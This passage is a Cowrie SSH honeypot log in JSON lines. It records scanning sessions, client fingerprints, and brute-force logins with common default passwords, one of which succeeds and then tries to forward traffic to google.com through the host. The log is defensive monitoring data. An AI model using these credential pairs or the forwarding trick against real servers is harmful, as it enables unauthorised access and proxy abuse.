{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:46:52.194305Z","src_ip":"152.32.207.234","session":"69fd4b4129d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.207.234","src_port":34074,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e7db907d1b1","protocol":"ssh","message":"New connection: 152.32.207.234:34074 (10.17.0.5:22) [session: 4e7db907d1b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:46:52.202380Z"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-Server","message":"Remote SSH version: SSH-1.5-Server","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:46:52.207278Z","src_ip":"152.32.207.234","session":"4e7db907d1b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:46:52.211130Z","src_ip":"152.32.207.234","session":"4e7db907d1b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":61570,"dst_ip":"10.17.0.5","dst_port":22,"session":"934b45a35817","protocol":"ssh","message":"New connection: 101.36.119.184:61570 (10.17.0.5:22) [session: 934b45a35817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:47:23.182062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:47:23.187073Z","src_ip":"101.36.119.184","session":"934b45a35817","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:47:23.401134Z","src_ip":"101.36.119.184","session":"934b45a35817","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc123456","message":"login attempt [admin/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:47:24.291899Z","src_ip":"101.36.119.184","session":"934b45a35817","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:47:25.509827Z","src_ip":"101.36.119.184","session":"934b45a35817","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.46.1.73","src_port":46216,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9e4b23d2e5c","protocol":"ssh","message":"New connection: 189.46.1.73:46216 (10.17.0.5:22) [session: f9e4b23d2e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:47:48.263311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:47:48.328726Z","src_ip":"189.46.1.73","session":"f9e4b23d2e5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:47:48.461719Z","src_ip":"189.46.1.73","session":"f9e4b23d2e5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"1111","message":"login attempt [hadoop/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:47:49.024873Z","src_ip":"189.46.1.73","session":"f9e4b23d2e5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:47:50.218651Z","src_ip":"189.46.1.73","session":"f9e4b23d2e5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":43050,"dst_ip":"10.17.0.5","dst_port":22,"session":"5699b29f8608","protocol":"ssh","message":"New connection: 103.15.226.202:43050 (10.17.0.5:22) [session: 5699b29f8608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:47:59.762532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:47:59.766805Z","src_ip":"103.15.226.202","session":"5699b29f8608","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:48:00.020581Z","src_ip":"103.15.226.202","session":"5699b29f8608","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:48:00.778324Z","src_ip":"103.15.226.202","session":"5699b29f8608","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:48:02.032701Z","src_ip":"103.15.226.202","session":"5699b29f8608","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":22952,"dst_ip":"10.17.0.5","dst_port":22,"session":"28ddbbb4bb52","protocol":"ssh","message":"New connection: 101.36.119.184:22952 (10.17.0.5:22) [session: 28ddbbb4bb52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:48:13.497535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:48:13.502521Z","src_ip":"101.36.119.184","session":"28ddbbb4bb52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:48:13.720061Z","src_ip":"101.36.119.184","session":"28ddbbb4bb52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu123","message":"login attempt [ubuntu/Ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:48:14.616715Z","src_ip":"101.36.119.184","session":"28ddbbb4bb52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:48:15.836731Z","src_ip":"101.36.119.184","session":"28ddbbb4bb52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.117.173","src_port":38506,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca9daa6777b3","protocol":"ssh","message":"New connection: 14.103.117.173:38506 (10.17.0.5:22) [session: ca9daa6777b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:48:16.951758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:48:16.956113Z","src_ip":"14.103.117.173","session":"ca9daa6777b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:48:18.166518Z","src_ip":"14.103.117.173","session":"ca9daa6777b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":42038,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0161ce24b02","protocol":"ssh","message":"New connection: 2.57.122.210:42038 (10.17.0.5:22) [session: a0161ce24b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:48:45.697955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:48:45.702560Z","src_ip":"2.57.122.210","session":"a0161ce24b02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:48:45.813153Z","src_ip":"2.57.122.210","session":"a0161ce24b02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:48:46.160944Z","src_ip":"2.57.122.210","session":"a0161ce24b02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:48:47.304345Z","src_ip":"2.57.122.210","session":"a0161ce24b02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":29309,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a3ebf062825","protocol":"ssh","message":"New connection: 84.239.42.8:29309 (159.203.135.109:22) [session: 4a3ebf062825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:48:52.357213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:48:52.362089Z","src_ip":"84.239.42.8","session":"4a3ebf062825","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:48:52.492819Z","src_ip":"84.239.42.8","session":"4a3ebf062825","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:48:52.991921Z","src_ip":"84.239.42.8","session":"4a3ebf062825","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":80,"src_ip":"84.239.42.8","src_port":8082,"message":"direct-tcp connection request to google.com:80 from 127.0.0.1:8082","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:48:53.120796Z","session":"4a3ebf062825","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"google.com","dst_port":80,"ja4h":"ge11nn010000_a510e5066512_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to google.com:80: ge11nn010000_a510e5066512_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:48:53.249819Z","src_ip":"84.239.42.8","session":"4a3ebf062825","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"google.com","dst_port":80,"data":"b'GET / HTTP/1.1\\r\\nUser-Agent: Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.18\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to google.com:80 with data b'GET / HTTP/1.1\\r\\nUser-Agent: Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.18\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:48:53.253555Z","src_ip":"84.239.42.8","session":"4a3ebf062825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:48:53.384598Z","src_ip":"84.239.42.8","session":"4a3ebf062825","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":39332,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fbd5712b395","protocol":"ssh","message":"New connection: 101.36.119.184:39332 (10.17.0.5:22) [session: 1fbd5712b395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:03.325490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:03.330374Z","src_ip":"101.36.119.184","session":"1fbd5712b395","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-